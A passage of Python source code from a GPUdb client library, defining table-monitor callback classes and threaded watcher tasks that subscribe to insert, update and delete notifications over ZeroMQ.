error_callback=None,\n event_options=None,\n ):\n \"\"\"\n Constructor for this class.\n\n Parameters:\n callback_type (:class:`.Callback.Type`)\n This indicates the type of the table monitor this callback\n will be used for. It must be of the type\n :class:`.Callback.Type` enum.\n\n event_callback (method reference)\n This is to be called for any event related to an operation\n on a table like insert, update, delete etc. As soon as such\n an event is observed this method will be called.\n\n This method can have only one parameter. For each\n table monitor event (`callback_type`), the parameter would\n be different. The method name has got no significance as\n long as the signature is as given below::\n\n def method_name(param):\n # param - Could be a (dict|bytes|int|str)\n # depending on the :attr:`callback_type`\n # Processing Code follows ....\n\n The method thus defined does not return anything.\n\n The following table describes the parameter types which\n correspond to each of the `callback_type`:\n\n == ================== ==============\n NO callback_type Parameter Type\n == ================== ==============\n 1 ``INSERT_DECODED`` ``dict``\n 2 ``INSERT_RAW`` ``bytes``\n 3 ``DELETED`` ``int``\n 4 ``UPDATED`` ``int``\n 5 ``TABLE_ALTERED`` ``str``\n 6 ``TABLE_DROPPED`` ``str``\n == ================== ==============\n\n error_callback (method reference)\n Optional parameter.\n\n This will be called in case of any operational error that\n typically could manifest in the form of some exception\n (:class:`gpudb.GPUdbException`).\n\n The name of the method does not matter. It must have only\n one argument of type ``str``. The argument to this method\n will contain information related to the error that\n occurred; often details about any exception that was\n raised.\n\n The signature of this method has to be::\n\n def method_name(param):\n # param - str\n # code here ...\n\n event_options (:class:`.Callback.Options`)\n Optional parameter.\n\n Options applicable to a specific callback type, e.g.,\n insert, delete, update etc. Right now, the only option\n applicable is for the callback handling insertion of records\n where the record information is decoded and sent to the\n callback by the table monitor.\n \"\"\"\n if isinstance(callback_type, GPUdbTableMonitor.Callback.Type):\n self.__type = callback_type\n else:\n raise GPUdbException(\n \"Argument type must be of type \"\n \"Callback.Type enum ...\")\n\n if not self.__check_whether_function(error_callback):\n raise GPUdbException(\"'error_callback' passed in is not a \"\n \"valid method reference\")\n\n if not self.__check_whether_function(event_callback):\n raise GPUdbException(\"'event_callback' passed in is not a \"\n \"valid method reference\")\n\n self.__event_callback = event_callback\n self.__error_callback = error_callback\n\n if event_options is not None and not isinstance(event_options, GPUdbTableMonitor.Callback.Options):\n raise GPUdbException(\"event_options must be of type class 'Options'\"\n \" or a derived class\")\n else:\n self.__event_options = event_options\n\n # End of Callback.init\n\n @property\n def event_callback(self):\n \"\"\"\n Getter for the `__event_callback` field\n Used to call the method pointed to once an event is received\n \"\"\"\n return self.__event_callback\n\n @property\n def error_callback(self):\n \"\"\"\n Getter for the `__error_callback` field\n Used to call the method pointed to in case of an error related to\n the callback_type of this class.\n \"\"\"\n return self.__error_callback\n\n @property\n def callback_type(self):\n return self.__type\n\n @property\n def event_options(self):\n return self.__event_options\n\n def __check_whether_function(self, func):\n \"\"\" Tests whether the object passed in is actually a function or not\n\n Parameters:\n func (Callback.event_callback):\n\n Returns: True or False\n\n \"\"\"\n return func is None or isinstance(func, (types.FunctionType,\n types.BuiltinFunctionType,\n types.MethodType,\n types.BuiltinMethodType\n )) \\\n or callable(func)\n\n class Options(object):\n \"\"\"\n This class embodies the options for any given callback type. The\n :class:`.Callback` constructor expects an instance of this class.\n However, instead of using this class directly, the user is supposed\n to use an instance of one of its derived classes. Each derived class\n is specialized with options that pertain to a certain type of\n callback.\n\n Note that, currently, there is only one derived class as other\n callback types do not have special options at the moment.\n\n .. seealso:: :class:`.Callback.InsertDecodedOptions`\n \"\"\"\n pass\n\n # End of Options class\n\n class InsertDecodedOptions(Options):\n \"\"\"\n Options used to control the behavior if an error occurs while\n receiving notifications about inserted records after decoding.\n \"\"\"\n\n def __init__(self, decode_failure_mode=None):\n \"\"\"Constructor for this class.\n\n Parameters:\n decode_failure_mode (:class:`.Callback.InsertDecodedOptions.DecodeFailureMode`)\n This is either ``SKIP`` or ``ABORT`` as described in the\n class documentation.\n \"\"\"\n if decode_failure_mode is None:\n self.__decode_failure_mode = GPUdbTableMonitor.Callback.InsertDecodedOptions.DecodeFailureMode.SKIP\n return\n\n if not isinstance(decode_failure_mode,\n GPUdbTableMonitor.Callback.InsertDecodedOptions.DecodeFailureMode):\n raise GPUdbException(\"error_mode must be of type \"\n \"InsertDecodedOptions.DecodeFailureMode enum (SKIP|ABORT)\")\n else:\n self.__decode_failure_mode = decode_failure_mode\n\n @property\n def decode_failure_mode(self):\n \"\"\"Getter method\n\n Return the __decode_failure_mode value.\n \"\"\"\n return self.__decode_failure_mode\n\n @decode_failure_mode.setter\n def decode_failure_mode(self, value):\n \"\"\"Setter\n Only allowed values are\n 1. GPUdbTableMonitor.Callback.InsertDecodedOptions.DecodeFailureMode.SKIP\n 2. GPUdbTableMonitor.Callback.InsertDecodedOptions.DecodeFailureMode.ABORT\n\n .. seealso:: :class:`.Callback.InsertDecodedOptions`\n \"\"\"\n if (not isinstance(value, int)\n or not isinstance(value, GPUdbTableMonitor.Callback.InsertDecodedOptions)\n or (value not in\n [GPUdbTableMonitor.Callback.InsertDecodedOptions.DecodeFailureMode.SKIP,\n GPUdbTableMonitor.Callback.InsertDecodedOptions.DecodeFailureMode.ABORT])):\n raise GPUdbException(\n \"'decode_failure_mode' value must be one of [PUdbTableMonitorCallback.InsertDecodedOptions.DecodeFailureMode.SKIP, \"\n \"Callback.InsertDecodedOptions.DecodeFailureMode.ABORT]\")\n else:\n self.__decode_failure_mode = value\n\n class DecodeFailureMode(enum.Enum):\n \"\"\"\n This enum is used to identify the two possible modes to handle any\n error that can occur while decoding the payload received from the\n server table monitors.\n In both the cases (``SKIP`` and ``ABORT``) it will try to\n recover once by default.\n \"\"\"\n\n ABORT = 1\n \"\"\"\n int: If a decoding error occurs and ``ABORT`` is specified, then\n the the program aborts (quits with an exception)\n \"\"\"\n\n SKIP = 2\n \"\"\"\n int: if ``SKIP`` is specified, then the program will skip to the\n next record and try to decode that. In ``SKIP`` mode, the record\n that has been skipped due to a problem in decoding will appear\n in the error log.\n \"\"\"\n # End of DecodeFailureMode enum class\n\n # End of InsertDecodedOptions class\n\n class Type(enum.Enum):\n \"\"\" Indicates that the callback is for insert/update/delete event for\n the target table. The API will create a[n] insert/update/delete\n table monitor, and per event, will invoke the appropriate event\n callback method. [Optional based on context: \"Upon receiving records\n that have been recently inserted into the target table, the table\n monitor will/will not decode the records and pass the binary/decoded\n records to the event callback method.\"]\n \"\"\"\n\n INSERT_DECODED = 1\n \"\"\"\n int: This mode indicates an interest in receiving records after\n decoding according to the table schema. This is used to create an\n insert monitor internally. The user will get the notification\n through the callback method pointed to by the `event_callback`\n property of :class:`.Callback. The inserted records will be returned\n as a dict as an argument to the `event_callback`.\n\n .. seealso:: :class:`.Client`\n \"\"\"\n\n INSERT_RAW = 2\n \"\"\"\n int: This mode indicates an interest in receiving records before\n decoding that is as raw bytes. This is used to create an insert\n monitor internally. The user will get the notification through the\n callback method pointed to by the `event_callback` property of\n :class:`.Callback`. The inserted records will be returned as bytes\n as an argument to the `event_callback`.\n\n .. seealso:: :class:`.Client`\n \"\"\"\n\n DELETED = 3\n \"\"\"\n int: This mode indicates an interest in receiving notification about\n the count of deleted records. This is used to create a delete\n monitor internally. The user will get the notification through the\n callback method pointed to by the `event_callback` property of\n :class:`.Callback`.\n\n .. seealso:: :class:`.Client`\n \"\"\"\n\n UPDATED = 4\n \"\"\"\n int: This mode indicates an interest in receiving notification about\n the count of updated records. This is used to create an update\n monitor internally. The user will get the notification through the\n callback method pointed to by the `event_callback` property of\n :class:`.Callback`.\n\n .. seealso:: :class:`.Client`\n \"\"\"\n\n TABLE_ALTERED = 5\n \"\"\"\n int: This mode indicates an interest in receiving notification about\n the possible table alterations while one or more table monitors\n (insert, update, delete) are monitoring a table. If this is supplied\n then the user will be notified using the callback pointed to by the\n `event_callback` property of :class:`.Callback`.\n\n .. seealso:: :class:`.Client`\n \"\"\"\n\n TABLE_DROPPED = 6\n \"\"\"\n int: This mode indicates an interest in receiving notification about\n the possible table deletions while one or more table monitors\n (insert, update, delete) are monitoring a table. If this is supplied\n then the user will be notified using the callback pointed to by the\n `event_callback` property of :class:`.Callback`.\n\n .. seealso:: :class:`.Client`\n \"\"\"\n\n @staticmethod\n def event_types():\n \"\"\"This method returns the list of all available types and it is\n called to validate the callback type supplied to the constructor\n of :class:`.Callback`.\n \"\"\"\n return [GPUdbTableMonitor.Callback.Type.INSERT_RAW,\n GPUdbTableMonitor.Callback.Type.INSERT_DECODED,\n GPUdbTableMonitor.Callback.Type.DELETED,\n GPUdbTableMonitor.Callback.Type.UPDATED,\n GPUdbTableMonitor.Callback.Type.TABLE_ALTERED,\n GPUdbTableMonitor.Callback.Type.TABLE_DROPPED]\n\n @staticmethod\n def monitor_types():\n \"\"\"This method returns the list of all available types that\n could be relevant to the creation of a table monitor and it is\n called to validate the callback type supplied to the constructor\n of :class:`.Callback`.\n \"\"\"\n return [GPUdbTableMonitor.Callback.Type.INSERT_RAW,\n GPUdbTableMonitor.Callback.Type.INSERT_DECODED,\n GPUdbTableMonitor.Callback.Type.DELETED,\n GPUdbTableMonitor.Callback.Type.UPDATED]\n\n # End of Callback class\n\n\nclass _BaseTask(threading.Thread):\n \"\"\" This an internal class and not to be used by clients.\n This is the base Task class from which all other tasks are derived\n that run the specific monitors for insert, update and delete etc.\n \"\"\"\n\n def __init__(self,\n db,\n table_name,\n table_event,\n table_dropped_callback=None,\n table_altered_callback=None,\n options=None,\n id=None):\n\n \"\"\"\n Constructor for _BaseTask class, generally will not be needed to be\n called directly, will be called by one of the subclasses\n :class:`_InsertWatcherTask`, :class:`_UpdateWatcherTask`\n or :class:`_DeleteWatcherTask`\n\n Args:\n\n db (GPUdb)\n Handle to GPUdb instance\n\n table_name (str)\n Name of the table to create the monitor for\n\n table_event (_TableEvent)\n Enum of :class:`GPUdbTableMonitor.Client._TableEvent`\n Indicates whether the monitor is an insert, delete or\n update monitor\n\n table_dropped_callback (method reference)\n Reference to method passed to handle notifications related to\n dropped table.\n .. seealso: :class:`GPUdbTableMonitor.Callback`,\n :class:`GPUdbTableMonitor.Callback.Type`\n\n table_altered_callback (method reference)\n Reference to method passed to handle notifications related to\n an altered table.\n .. seealso: :class:`GPUdbTableMonitor.Callback`,\n :class:`GPUdbTableMonitor.Callback.Type`\n\n options (Options)\n Options to configure Client\n .. seealso: :class:`GPUdbTableMonitor.Options`\n\n Raises:\n GPUdbException\n \"\"\"\n\n super(_BaseTask, self).__init__()\n\n if ((db is None) or (not isinstance(db, GPUdb))):\n raise GPUdbException(\"db must be of type GPUdb\")\n self.db = db\n\n if ((table_name is None)\n or (not isinstance(table_name, (basestring, unicode)))):\n raise GPUdbException(\"table_name must be a string\")\n self.table_name = table_name\n\n if ((table_event is None)\n or (not isinstance(table_event, GPUdbTableMonitor.Client._TableEvent))):\n raise GPUdbException(\"table_event must be of type enum _TableEvent\")\n\n self.event_type = table_event\n\n self.id = id\n\n if not isinstance(options, GPUdbTableMonitor.Options):\n options = GPUdbTableMonitor.Options.default()\n\n self._options = options\n self._table_dropped_callback = table_dropped_callback\n self._table_altered_callback = table_altered_callback\n\n self.type_id = None\n self.type_schema = None\n self.topic_id = \"\"\n self.context = zmq.Context()\n self.socket = self.context.socket(zmq.SUB)\n self.kill = False\n self.zmq_url = 'tcp://' + self.db.host + ':9002'\n self.full_url = self.db.gpudb_full_url\n self.record_type = None\n\n # Setup the logger for this instance\n self._id = str(uuid.uuid4())\n\n # self._logger is kept protected since it is also accessed from the\n # _BaseTask derived classes\n self._logger = logging.getLogger(\n \"gpudb_table_monitor.BaseTask_instance_\" + self._id)\n\n handler = logging.StreamHandler()\n formatter = logging.Formatter(\"%(asctime)s %(levelname)-8s {%(\"\n \"funcName)s:%(lineno)d} %(message)s\",\n \"%Y-%m-%d %H:%M:%S\")\n handler.setFormatter(formatter)\n\n self._logger.addHandler(handler)\n\n # Prevent logging statements from being duplicated\n self._logger.propagate = False\n\n # End __init__ _BaseTask\n\n def setup(self):\n \"\"\"This method sets up the internal state variables of the\n Client object like type_id, type_schema and create the\n table monitor and connects to the server table monitor.\n\n \"\"\"\n\n self.type_id, self.type_schema = self._get_type_and_schema_for_table()\n\n if ((self.type_schema is not None)\n and (self.type_id is not None)):\n self.record_type = RecordType.from_type_schema(\n label=\"\",\n type_schema=self.type_schema,\n properties={})\n else:\n raise GPUdbException(\n \"Failed to retrieve type_schema and type_id for table {}\".format(\n self.table_name))\n\n if self._create_table_monitor(table_event=self.event_type):\n self._connect_to_topic(self.zmq_url, self.topic_id)\n\n # End setup _BaseTask\n\n def _create_table_monitor(self, table_event):\n \"\"\"This method creates the table monitor for the table name passed\n in as a parameter to the constructor of the table monitor class. It\n also caches the topic_id and the table schema in instance variables\n so that decoding of the messages received could be done.\n\n Returns:\n True or False\n\n \"\"\"\n try:\n if (table_event == GPUdbTableMonitor.Client._TableEvent.DELETE):\n retval = self.db.create_table_monitor(self.table_name,\n options={\n 'event': 'delete'})\n elif (table_event == GPUdbTableMonitor.Client._TableEvent.INSERT):\n retval = self.db.create_table_monitor(self.table_name,\n options={\n 'event': 'insert'})\n elif (table_event == GPUdbTableMonitor.Client._TableEvent.UPDATE):\n retval = self.db.create_table_monitor(self.table_name,\n options={\n 'event': 'update'})\n else:\n raise GPUdbException(\"Invalid 'table_event' value .. cannot \"\n \"create table monitor\")\n\n # Retain the topic ID, used in verifying the queued messages'\n # source and removing the table monitor at the end\n self.topic_id = retval[\"topic_id\"]\n\n # Retain the type schema for decoding queued messages\n self.type_schema = retval[\"type_schema\"]\n return True\n except GPUdbException as gpe:\n self._logger.error(gpe.message)\n return False\n\n # End __create_table_monitor _BaseTask\n\n def _remove_table_monitor(self):\n \"\"\" Remove the established table monitor, by topic ID\n \"\"\"\n self.db.clear_table_monitor(self.topic_id)\n\n # End _remove_table_monitor _BaseTask\n\n def _connect_to_topic(self, table_monitor_queue_url, topic_id):\n\n \"\"\" Create a connection to the message queue published to by the\n table monitor, filtering messages for the specific topic ID returned\n by the table monitor creation call\n\n \"\"\"\n # Connect to queue using specified table monitor URL and topic ID\n self._logger.debug(\"Starting...\")\n self.socket.connect(table_monitor_queue_url)\n\n if sys.version_info[:3] > (3, 0):\n topicid = \"\".join(chr(x) for x in bytearray(topic_id, 'utf-8'))\n else:\n topicid = topic_id.decode('utf-8')\n\n self.socket.setsockopt_string(zmq.SUBSCRIBE, topicid)\n\n self._logger.debug(\" Started!\")\n\n # End _connect_to_topic _BaseTask\n\n def _disconnect_from_topic(self):\n \"\"\" This method closes the server socket and terminates the context\n \"\"\"\n self._logger.debug(\" Stopping...\")\n self.socket.close()\n self.context.term()\n self._logger.debug(\" Stopped!\")\n\n # End _disconnect_from_topic _BaseTask\n\n def run(self):\n \"\"\" Process queued messages until this client is stopped externally.\n\n Poll the message queue every second for new messages. When the\n client is stopped externally, finish processing any messages in\n the current batch, and then disconnect from the message queue and\n remove the table monitor\n \"\"\"\n while not self.kill:\n try:\n self._fetch_message()\n except zmq.ZMQError as zmqe:\n if not self.kill:\n self._logger.error(\"ZMQ connection error : %s\" % zmqe.strerror)\n # Try to re-create the table monitor, resorting to HA\n if not self._check_state_on_inactivity_timeout_expiry():\n self.kill = True\n # End of while loop\n\n # Clean up when this table monitor is stopped\n self._disconnect_from_topic()\n self._remove_table_monitor()\n\n # End run _BaseTask\n\n def stop(self):\n \"\"\" This is a private method which just terminates the background\n thread which subscribes to the server table monitor topic and receives\n messages from it.\n\n \"\"\"\n self.kill = True\n self.socket.close()\n self.context.term()\n\n # End stop _BaseTask\n\n def _check_state_on_inactivity_timeout_expiry(self):\n \"\"\"This method checks for table existence and other sanity checks while\n the main message processing loop is idle because server on\n successful polling returned nothing.\n\n Returns:\n Nothing\n\n \"\"\"\n self._logger.debug(\"In _check_state_on_inactivity_timeout_expiry ...\")\n\n table_monitor_created = False\n\n try:\n # Check whether the table is still valid\n table_exists = self.db.has_table(self.table_name, options={})[\n 'table_exists']\n\n current_full_url = self.full_url\n\n if table_exists:\n if (current_full_url != self.db.gpudb_full_url):\n # HA taken over\n\n # Cache the full_url value\n self.full_url = self.db.gpudb_full_url\n self._logger.warning(\"{} :: HA Switchover \"\n \"happened : Current_full_url = {} \"\n \"and \"\n \"new_gpudb_full_url = {}\".format(\n self.id, current_full_url, self.db.gpudb_full_url))\n\n new_type_id, new_type_schema = self._get_type_and_schema_for_table()\n\n self._logger.debug(\n \"Old type_id = {} : New type_id = {}\".format(\n self.type_id, new_type_id))\n\n # create table monitors if not terminated due to a\n # table alteration\n self._create_table_monitor(\n table_event=self.event_type)\n self.type_id = new_type_id\n self.type_schema = new_type_schema\n\n # Connect to the new topic_id\n self.zmq_url = \"tcp://\" + self.db.host + \":9002\"\n self._connect_to_topic(\n table_monitor_queue_url=self.zmq_url,\n topic_id=self.topic_id)\n\n table_monitor_created = True\n else:\n self._quit_on_exception(\n event_type=GPUdbTableMonitor.Client._TableEvent.TABLE_DROPPED,\n message=\"Table %s does not \"\n \"exist anymore ...\"\n % self.table_name)\n\n except GPUdbException as gpe:\n self._logger.error(\"GpuDb error : %s\" % gpe.message)\n except Exception as e:\n self._quit_on_exception(event_type=None, message=str(e))\n\n return table_monitor_created\n\n # End _check_state_on_inactivity_timeout_expiry _BaseTask\n\n def _quit_on_exception(self, event_type=None, message=None):\n \"\"\" This method is invoked on an exception which could be difficult\n to recover from and then it will simply terminate the background\n thread and exit cleanly. It will also indicate the clients of the\n table monitor by placing a special object 'None' in the shared Queue\n so that the clients know that they should terminate as well and can\n exit gracefully.\n\n Parameters:\n message\n The exact exception message that could be logged for\n further troubleshooting\n \"\"\"\n if message is not None:\n self._logger.error(message)\n\n if ((event_type == GPUdbTableMonitor.Client._TableEvent.TABLE_DROPPED)\n and (self._table_dropped_callback is not None)):\n self._table_dropped_callback.event_callback(message)\n\n if ((event_type == GPUdbTableMonitor.Client._TableEvent.TABLE_ALTERED)\n and (self._table_altered_callback is not None)):\n self._table_altered_callback.event_callback(message)\n\n # Connection to GPUDb failed or some other GPUDb failure, might as\n # well quit\n self.stop()\n\n # End _quit_on_exception _BaseTask\n\n def _get_type_and_schema_for_table(self):\n \"\"\" This method retrieves the table schema and type_id and returns a\n tuple composed of the values Args: table_name: The name of the table\n for which the type_id and schema are to be retrieved\n\n Returns:\n A tuple containing the type_id and schema\n\n \"\"\"\n try:\n show_table_response = self.db.show_table(\n table_name=self.table_name, options={})\n # Retrieve the latest schema\n latest_type_schema = show_table_response['type_schemas'][0]\n # Retrieve the latest type_id\n latest_type_id = show_table_response['type_ids'][0]\n return latest_type_id, latest_type_schema\n except GPUdbException as gpe:\n self._logger.error(gpe.message)\n return None, None\n\n # End __get_type_and_schema_for_table _BaseTask\n\n def execute(self):\n \"\"\" This method does the job of executing the task. It calls in sequence\n _connect, start and _disconnect.\n _connect connects to the server socket and sets up everything\n start starts the background thread\n _disconnect drops the server socket connection.\n\n This is actually a template method where _connect and _disconnect are\n implemented by the derived classes.\n\n \"\"\"\n self._connect()\n self.start()\n self._disconnect()\n\n # End execute _BaseTask\n\n def _connect(self):\n \"\"\" Implemented by the derived classes _InsertWatcherTask,\n _UpdateWatcherTask and _DeleteWatcherTask.\n\n \"\"\"\n raise NotImplementedError(\n \"Method '_connect' of '_BaseTask' must be overridden in the derived classes\")\n\n # End _connect _BaseTask\n\n def _fetch_message(self):\n \"\"\" This method is called by the run method which polls the socket and calls\n the method _process_message for doing the actual processing.\n _process_message is once again overridden in the derived classes.\n\n \"\"\"\n ret = self.socket.poll(self._options.inactivity_timeout)\n\n if ret != 0:\n self._logger.debug(\"Received message .. \")\n messages = self.socket.recv_multipart()\n self._process_message(messages)\n\n else:\n # ret==0, meaning nothing received from socket.\n # Process all the other cases here since there is no\n # message to be processed.\n self._check_state_on_inactivity_timeout_expiry()\n\n # End _fetch_message _BaseTask\n\n def _process_message(self, messages):\n \"\"\" This method does the actual processing of the messages received\n from the socket and suitably calls the event handlers and\n callback methods.\n\n The implementations differ and are taken care of in the derived\n classes since insert and delete/update are handled completely\n differently.\n\n This method has to be overridden in the derived classes\n\n Parameters:\n messages\n \"\"\"\n raise NotImplementedError(\n \"Method '_process_message' of '_BaseTask' must be overridden in the derived classes\")\n\n # End _process_message _BaseTask\n\n def _disconnect(self):\n \"\"\"Implemented by the derived classes _InsertWatcherTask,\n _UpdateWatcherTask and _DeleteWatcherTask.\n\n \"\"\"\n raise NotImplementedError(\n \"Method '_disconnect' of '_BaseTask' must be overridden in the derived classes\")\n\n # End _disconnect _BaseTask\n\n @property\n def logging_level(self):\n return self._logger.level\n\n @logging_level.setter\n def logging_level(self, value):\n \"\"\"\n This property sets the log level for this class and its derivatives.\n\n Parameters:\n value (logging.level)\n Default setting is logging.INFO\n\n Raises:\n GPUdbException\n If the value passed is not one of logging.INFO\n or logging.DEBUG etc.\n \"\"\"\n try:\n self._logger.setLevel(value)\n except (ValueError, TypeError, Exception) as ex:\n raise GPUdbException(\"Invalid log level: '{}'\".format(str(ex)))\n\n\n# End class _BaseTask\n\n\nclass _InsertWatcherTask(_BaseTask):\n \"\"\" This is the class which handles only inserts and subsequent processing\n of the messages received as a result of notifications from server on\n insertions of new records into the table.\n\n \"\"\"\n\n def __init__(self, db, table_name,\n options=None, callbacks=None):\n \"\"\"\n [summary]\n\n Parameters:\n db (GPUdb)\n Handle to GPUdb instance\n\n table_name (str)\n Name of the table to create the monitor for\n\n options (:class:`GPUdbTableMonitor.Options`)\n Options to configure Client\n\n callbacks (list of :class:`GPUdbTableMonitor.Callback`)\n List of Callback objects passed by user to be called on various\n events relevant to Insert operation\n\n Order of callbacks in the list:\n - 0 - insert_raw callback\n - 1 - insert_decoded callback\n - 2 - table_dropped callback\n - 3 - table_altered callback\n\n \"\"\"\n table_event = GPUdbTableMonitor.Client._TableEvent.INSERT\n\n self._callbacks = None if callbacks is None else callbacks\n\n self.__cb_insert_raw = None if self._callbacks is None else self._callbacks[0]\n\n self.__cb_insert_decoded = None if self._callbacks is None else self._callbacks[1]\n\n super(_InsertWatcherTask, self).__init__(db,\n table_name,\n table_event=table_event,\n table_dropped_callback=self._callbacks[2],\n table_altered_callback=self._callbacks[3],\n options=options,\n id='INSERT_' + table_name)\n\n def _connect(self):\n \"\"\" Overrides the base class method\n wrapping the call to setup method.\n \"\"\"\n self.setup()\n\n def _try_decoding_on_table_altered(self, message_data):\n \"\"\"This method tries to decode with the new type schema in case a\n table has been altered. The method will retry forever and would\n only fail if the 'DECODE_FAILURE_THRESHOLD_SECS' seconds have\n elapsed and still the decoding of the message has failed.\n\n Parameters:\n message_data\n The raw message data (binary)\n\n Returns:\n record\n The decoded record if there is one else None\n\n \"\"\"\n record = None\n\n try:\n # retry with refreshed type details id\n # and schema\n new_type_id, new_type_schema = self._get_type_and_schema_for_table()\n\n self.record_type = RecordType.from_type_schema(\n label=\"\",\n type_schema=new_type_schema,\n properties={})\n\n record = dict(GPUdbRecord.decode_binary_data(self.record_type,\n message_data)[0])\n\n # Update the instance variables on\n # success\n self.type_id, self.type_schema = new_type_id, new_type_schema\n\n except Exception as e:\n self._logger.error(\"Exception received \"\n \"while decoding : \"\n \"%s\" % str(e))\n self._logger.error(\n \"Failed to decode message %s with \"\n \"updated schema %s\" % message_data,\n self.type_schema)\n\n return record\n\n # End _try_decoding_on_table_altered\n\n def _process_message(self, messages):\n \"\"\" Process only messages assuming that they are inserts.\n\n Parameters:\n messages (list)\n Multi-part messages received from a single socket poll.\n \"\"\"\n\n if IS_PYTHON_2:\n topic_id_recvd = \"\".join(\n chr(x) for x in bytearray(messages[0], 'utf-8'))\n else:\n topic_id_recvd = str(messages[0], 'utf-8')\n\n self._logger.info(\"Topic_id_received = \" + topic_id_recvd)\n\n # Process all messages, skipping the (first) topic frame\n for message_index, message_data in enumerate(messages[1:]):\n\n if (self.__cb_insert_raw is not None\n and self.__cb_insert_raw.event_callback is not None):\n try:\n self.__cb_insert_raw.event_callback(message_data)\n except Exception as e:\n self._logger.error(e)\n raise GPUdbException(str(e))\n\n # Decode the record from the message using the type\n # schema, initially returned during table monitor\n # creation\n if (self.__cb_insert_decoded is not None\n and self.__cb_insert_decoded.event_callback is not None):\n try:\n record = dict(GPUdbRecord.decode_binary_data(self.record_type,\n message_data)[0])\n try:\n self.__cb_insert_decoded.event_callback(record)\n except Exception as cbe:\n self._logger.error(cbe)\n raise GPUdbException(\"Exception in calling event_callback\"\n \"for insert decoded : \" + str(cbe))\n\n except Exception as e:\n # The exception could only be because of some\n # issue with decoding the data; possibly due to\n # a different schema resulting from a table\n # alteration.\n self._logger.error(\n \"Exception received while decoding {}\".format(str(e)))\n\n # Attempt recovery once anyway\n record = self._try_decoding_on_table_altered(\n message_data)\n\n if (record is None):\n if (self.__cb_insert_decoded.event_options.error_mode\n == GPUdbTableMonitor.Callback.InsertDecodedOptions.DecodeFailureMode.ABORT):\n\n self._logger.error(\"Failed to decode message {} \"\n \"with schema {}\".format(\n message_data,\n self.type_schema))\n\n if (self.__cb_insert_decoded.error_callback is not None):\n self.__cb_insert_decoded.error_callback(\"Failed to decode message {} \"\n \"with schema {}\".format(\n message_data,\n self.type_schema))\n\n self._quit_on_exception(GPUdbTableMonitor.Client._TableEvent.TABLE_ALTERED,\n \"Table altered, \"\n \"terminating ...\"\n )\n elif (self.__cb_insert_decoded.event_options.error_mode\n == GPUdbTableMonitor.Callback.InsertDecodedOptions.DecodeFailureMode.SKIP):\n # This is the case of DecodeFailureMode.SKIP\n # Emit a waring log message and skip over to\n # subsequent records.\n self._logger.warning(\"Failed to decode message {} \"\n \"with schema {}, skipping to next \"\n \"records.\".format(message_data,\n self.type_schema))\n continue\n else:\n self._logger.error(\"Unknown 'DecodeFailureMode' found .. cannot handle\")\n raise GPUdbException(\"Unknown 'DecodeFailureMode' found .. cannot handle\")\n else:\n # Decoded second time, send the notification\n self.__cb_insert_decoded.event_callback(record)\n\n # End if (not decoded)\n\n # End _process_message _InsertWatcherTask(_BaseTask)\n\n def _disconnect(self):\n \"\"\"\n\n \"\"\"\n self.stop()\n\n\nclass _UpdateWatcherTask(_BaseTask):\n \"\"\" This is the class which handles only updates and subsequent processing\n of the messages received as a result of notifications from server on\n updates to the records of a table.\n\n \"\"\"\n\n def __init__(self, db, table_name,\n options=None,\n callbacks=None,\n ):\n\n \"\"\"\n Constructor the the class _UpdateWatcherTask which inherits from\n _BaseTask\n\n Parameters:\n db (GPUdb)\n Handle to GPUdb instance\n\n table_name (str)\n Name of the table to create the monitor for\n\n options (:class:`GPUdbTableMonitor.Options`)\n Options to configure Client\n\n callbacks (list of :class:`GPUdbTableMonitor.Callback`)\n List of Callback objects passed by user to be called on\n various events relevant to Update operation\n\n Order of callbacks in the list:\n - 0 - updated callback\n - 1 - table_dropped callback\n - 2 - table_altered callback\n \"\"\"\n\n table_event = GPUdbTableMonitor.Client._TableEvent.UPDATE\n\n self._callbacks = None if (callbacks is None\n or (not isinstance(callbacks, list)\n or len(callbacks) <= 0)) else callbacks\n\n self.__cb_update = self._callbacks[0]\n\n super(_UpdateWatcherTask, self).__init__(db,\n table_name=table_name,\n table_event=table_event,\n table_dropped_callback=self._callbacks[1],\n table_altered_callback=self._callbacks[2],\n options=options,\n id='UPDATE_' + table_name)\n\n def _connect(self):\n \"\"\" Overrides the base class method\n wrapping the call to setup method.\n \"\"\"\n self.setup()\n\n def _process_message(self, messages):\n \"\"\"\n\n \"\"\"\n\n if sys.version_info[0] == 2:\n topic_id_recvd = \"\".join(\n chr(x) for x in bytearray(messages[0], 'utf-8'))\n else:\n topic_id_recvd = str(messages[0], 'utf-8')\n\n # Process all messages, skipping the (first) topic frame\n\n # Decode the record from the message using the type\n # schema, initially returned during table monitor\n # creation\n if (self.__cb_update is not None\n and self.__cb_update.event_callback is not None):\n try:\n returned_obj = dict(\n GPUdbRecord.decode_binary_data(self.type_schema, messages[1])[\n 0])\n self.__cb_update.event_callback(returned_obj[\"count\"])\n\n self._logger.debug(\"Topic Id = {} , record = {} \"\n .format(topic_id_recvd,\n returned_obj[\"count\"]))\n except Exception as e:\n # The exception could only be because of some\n # issue with decoding the data; possibly due to\n # a different schema resulting from a table\n # alteration.\n self._logger.error(\n \"Exception received while decoding {}\".format(\n str(e)))\n self._logger.error(\"Failed to decode message {} \"\n \"with schema {}\".format(\n messages[1],\n self.type_schema\n ))\n\n # End _process_message _UpdateWatcherTask(_BaseTask)\n\n def _disconnect(self):\n \"\"\"\n\n \"\"\"\n self.stop()\n\n\nclass _DeleteWatcherTask(_BaseTask):\n \"\"\" This is the class which handles only deletes and subsequent processing\n of the messages received as a result of notifications from server on\n on deletions of records of a table.\n\n \"\"\"\n\n def __init__(self, db, table_name,\n options=None, callbacks=None):\n \"\"\"\n Constructor of the _DeleteWatcherTask class\n\n Parameters:\n db (GPUdb)\n Handle to GPUdb instance\n\n table_name (str)\n Name of the table to create the monitor for\n\n options (:class:`GPUdbTableMonitor.Options`)\n Options to configure Client\n\n callbacks (List of :class:`GPUdbTableMonitor.Callback`)\n List of Callback objects passed by user to be called on various\n events relevant to the Delete operation\n\n Order of callbacks in the list:\n - 0 - deleted callback\n - 1 - table_dropped callback\n - 2 - table_altered callback\n \"\"\"\n\n table_event = GPUdbTableMonitor.Client._TableEvent.DELETE\n\n self._callbacks = (None if callbacks is None\n or (not isinstance(callbacks, list)\n or len(callbacks) <= 0) else callbacks)\n self.__cb_delete = None if self._callbacks is None else self._callbacks[0]\n\n super(_DeleteWatcherTask, self).__init__(db,\n table_name=table_name,\n table_event=table_event,\n table_dropped_callback=self._callbacks[1],\n table_altered_callback=self._callbacks[2],\n options=options,\n id='DELETE_' + table_name)\n\n def _connect(self):\n \"\"\" Overrides the base class method\n wrapping the call to setup method.\n \"\"\"\n self.setup()\n\n def _process_message(self, messages):\n \"\"\"\n\n 